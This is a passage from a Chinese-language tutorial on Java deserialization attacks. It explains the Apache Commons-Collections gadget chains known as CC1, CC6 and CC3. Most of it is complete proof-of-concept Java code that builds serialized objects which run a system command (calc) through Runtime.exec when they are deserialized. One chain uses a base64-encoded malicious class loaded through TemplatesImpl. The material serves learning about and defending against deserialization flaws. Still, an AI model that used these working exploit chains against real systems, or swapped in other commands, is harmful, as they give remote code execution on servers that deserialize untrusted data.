Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});
ConstantTransformer helloWorld = new ConstantTransformer("HelloWorld"); // 不管调用 transform 方法传递了什么参数, 都会返回 HelloWorld 字符串
HashMap hashMap = new HashMap();
hashMap.put("value", "b");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, helloWorld);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(invocationHandler);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}
直接运行肯定看不出来效果, 但是我们可以在DEBUG途中进行表达式求值:
ChainedTransformer::transform 递归调用
那么我们继续找可以利用的transform
方法的类:
这里可以发现,ChainedTransformer
这个类的transform
方法, 会将上一次transform
方法调用的结果, 当下一次的参数使用, 这里有一个递归调用的问题.
那么我们思路就有了, 我们刚刚失败的问题是因为如下代码:
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))); // 注意这里 setValue 方法传入的值并不可控, 待会儿编写好 POC 会抛出异常.
这里可以通过ConstantTransformer
这个类解决, 因为这个类的transform
方法不管你丢什么参数进来, 我们都可以返回一个Runtime对象
.
而ChainedTransformer
这个类的transform
方法调用的结果会当成下一次调用transform
参数, 所以我们的调用思路如下:
ConstantTransformer -> 不管你丢什么参数进来, 我返回 Runtime 对象
InvokerTransformer -> 我继续调用该危险方法, 实现 RCE
随后我们进行测试:
public class Main {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(runtime), // 放入 runtime 对象
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer
HashMap hashMap = new HashMap();
hashMap.put("value", "b"); // value 硬性规定
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(invocationHandler);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}
最终会抛出异常:
Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime
是因为Runtime
这个类并不允许序列化操作, 因为这个类没有实现Serializable
接口:
public class Runtime {...}
但是 Class 允许序列化:
public final class Class<T> implements java.io.Serializable {...}
此时我们可以改一下我们利用ChainedTransformer::transform
的思路:
ConstantTransformer -> 不管你丢什么参数进来, 我返回 Runtime 的 Class. (Class 对象允许序列化)
InvokerTransformer -> 我调用 Class 的 getMethod 方法, 参数是 getRuntime -> 返回 getRuntime 这个 Method
InvokerTransformer -> 我调用 Method 的 invoke 方法, 参数是 null -> 返回 runtime 对象
InvokerTransformer -> 我调用 runtime 对象的 exec 方法, 参数是 calc
最终手搓POC:
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap hashMap = new HashMap();
hashMap.put("value", "b"); // value 硬性规定, 因为 Retention 中只存在一个 value 属性
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(invocationHandler);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}
最终成功弹出计算器. 最终链条梳理:
AnnotationInvocationHandler::readObject
AbstractInputCheckedMapDecorator::setValue
TransformedMap::checkSetValue
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime
CC3 链路 (版本2) jdk1.8.0_65 俗称 CC1
LazyMap::get 链式调用
CC6 的链条与 CC1 的后半部分是一样的, 也就是说ChainedTransformer::transform && ConstantTransformer::transform && InvokerTransformer::transform
仍然作为后半段的利用方法.
最主要的核心区别是在 CC1 中使用了TransformedMap::checkSetValue
方法进行调用ChainedTransformer::transform
的方法, 而调用ChainedTransformer::transform
的位置不单单只有一个, 我们看一下:
这里LazyMap::get
方法同样调用了transform
方法, 而factory
的成员属性如下:
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable { // 可序列化, 并且实现了 Map 接口
protected final Transformer factory; // Transformer 类型的 factory
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory); // 工厂模式
}
protected LazyMap(Map map, Factory factory) { // protected 访问修饰符, 别的包不可以访问
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
}
其中factory
成员属性只要是Transformer
接口下的类就行, 而我们之前的下半段链路又都是Transformer
接口下的:
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
所以这也是一条链路, 我们可以编写代码进行测试, 看一下是否可以弹出计算器:
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
lazyMap.get("heihu577"); // 运行弹出计算器
我们按照之前的思路继续往下找. 查找一个调用了Map.get(任意类型)
的点.
AnnotationInvocationHandler::invoke 链式调用
AnnotationInvocationHandler::invoke
方法是这样定义的:
从图中可以看到, 如果我们想要代码顺利执行, 必须调用invoke
方法时, 被调用的方法是无参方法.
这里memberValues
就是Map
类型, 并且该值可控, 我们可以将其修改为我们的LazyMap
, 所以这里可以作为链路中的一环进行调用.
AnnotationInvocationHandler
实际上是实现了InvocationHandler
接口的类, 而我们学习动态代理
时我们知道, 当我们调用代理对象.任意方法()
实则会调用代理对象.invoke(对象, 方法名, 参数)
, 所以这里我们需要一个动态代理的创建过程.Proxy.newProxyInstance
的方法定义如下:
public class Proxy implements java.io.Serializable {
@CallerSensitive
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h) // 第三个参数接收一个 InvocationHandler
throws IllegalArgumentException
{
// ...
}
}
那么我们可以通过Proxy.newProxyInstance
将我们通过反射创建的AnnotationInvocationHandler
对象传入进来, 生成代理对象, 随后调用该代理对象的无参方法, 最后成功调用AnnotationInvocationHandler::invoke
方法. 那么准备如下POC:
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
lazyMapProxyObj.isEmpty(); // 随意调用一个参数为空的方法, 会走向 AnnotationInvocationHandlerConstructor 的 invoke 方法
运行即可弹出计算器.
AnnotationInvocationHandler::readObject 入口方法
那么谁的readObject
方法《调用一个参数为空的方法》
了呢? 这里AnnotationInvocationHandler::readObject
满足我们的需求, 因为它调用了entrySet()
方法, 该方法参数为空:
那么手搓POC:
public class Main4 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMapProxyObj); // 最终生成恶意对象
serialize(o);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}
运行即可弹出计算器. 最终链条梳理:
AnnotationInvocationHandler::readObject
AnnotationInvocationHandler::invoke
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime
CC3 链路 (版本3) jdk1.8.0_131 俗称CC6
由于上述的链路依赖于AnnotationInvocationHandler
, 而这个类在JDK1.8_131
版本修复了该链路, 修复了同名方法的调用, 那么不如来一条不受版本限制的链路.
TiedMapEntry::hashCode 链式调用
这个版本的CC链路, 后半段仍然一致, 如下:
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
那么谁调用了LazyMap::get
方法呢?在这里有一个TiedMapEntry
类, 该类也存在于Commons-collections
包下, 其中它的关键方法如下:
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map; // 接收一个 Map, 这里可以存放 LazyMap
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map; // 对 Map 进行初始化操作
this.key = key;
}
public Object getValue() { // 被 hashCode 方法调用进来, 注意这里的 key 是可控的
return map.get(key);
}
public int hashCode() {
Object value = getValue(); // 调用 getValue 方法
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
}
那么我们可以这样构造:
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
tiedMapEntry.hashCode(); // 调用弹出计算器
HashMap::readObject 入口方法 - 调用 hashCode
在我们之前学习URLDNS
链时, 我们知道,Map::readObject
在putVal
时, 会对Key进行调用hashCode
方法, 最主要的核心代码如下:
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // 调用 hashCode 方法
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// ... 其他代码
putVal(hash(key), key, value, false, false); // 对 key 进行调用 hash 方法操作
}
}
所以这里也是一个链路, 它的链路如下:
HashMap::readObject
TiedMapEntry::hashCode
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime
但是我们需要注意的是, 我们在生成反序列化二进制文件时, 主动调用HashMap::put
方法同样会触发TiedMapEntry::hashCode
方法, 这一点在我们之前的URLDNS
链中有分析过, 所以我们在构造时仍然需要一个反射的一个操作. 我们put
时, 放入正常的对象, 不让他走到最终的链路, 而put
完之后通过反射再将恶意对象放回来, 即可避免我们生成二进制文件时就直接走到了链路尽头, 从而造成了一系列非预期的问题.
最终POC如下:
public static void main(String[] args) throws Exception {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
serialize(hsMap);
unserialize(); // 运行弹出计算器
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
CC3 链路 (版本4) >= jdk1.8.0_131 CC4 同样可用 俗称CC3
在前面的CC链路中, 我们链路的尽头始终是调用了InvokerTransformer::transform
进行执行我们的Runtime.exec
进行反序列化的, 而这个链路最终调用的是我们之前学习过的Xalan ClassLoader
进行加载类字节码进行GetShell
的.
Xalan ClassLoader 利用
在这里我们先复习一下Xalan ClassLoader
:
在之前我们成功分析出链路, 并成功编写出本地RCE脚本, 笔者先贴上来:
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer(
"恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Transformer transformer = templates.newTransformer(); // 调用 newTransformer() 进行序列化操作
那么这个Xalan ClassLoader
是否可以成功被利用, 取决于TemplatesImpl
这个类是否支持序列化, 以及它下面的成员属性_bytecodes, _name, _tfactory
是否支持序列化, 那么我们看一下这个类的定义:
public final class TemplatesImpl implements Templates, Serializable { // 实现了 Serializable 接口, 支持序列化操作
private String _name = null; // 可以序列化, 可以通过反射修改
private byte[][] _bytecodes = null; // 可以序列化, 可以通过反射修改
private transient TransformerFactoryImpl _tfactory = null; // transient 不可被序列化
// ... 其他代码
}
_tfactory
这个属性被transient
修饰, 所以这个成员属性是不允许序列化的, 那么这里怎么办呢?既然它实现了Serializable
接口, 那么readObject
中肯定有它自己的逻辑:
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl(); // 这里程序会自动对 _tfactory 成员属性进行初始化操作
}
可以看到最后一行代码,readObject
方法中对_tfactory
成员属性进行初始化了, 所以我们在编写反序列化POC时, 无需操心_tfactory
.
那么我们需要构造的POC上半段就是这样:
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
// 省去了对 _tfactory 的初始化操作.
// Transformer transformer = templates.newTransformer(); // 调用 newTransformer() 进行加载恶意类字节码
而我们知道的是, 如果想调用TemplatesImpl::newTransformer
方法, 我们又需要重新找链路, 在我们之前的CC链
我们知道,InvokerTransformer.transform
这个方法允许调用任意对象的任意方法, 所以这里我们可以使用原先的上半链路, 通过InvokerTransformer.transform + ConstantTransformer::transform + ChainedTransformer::transform
进行调用到TemplatesImpl::newTransformer
方法, 那么构造POC:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk="); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) // // 调用 TemplatesImpl::newTransformer() 进行弹窗
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
serialize(hsMap);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
/*
图中的 BASE64 是如下类的字节码 BASE64 后的值:
public class CMD extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
*/
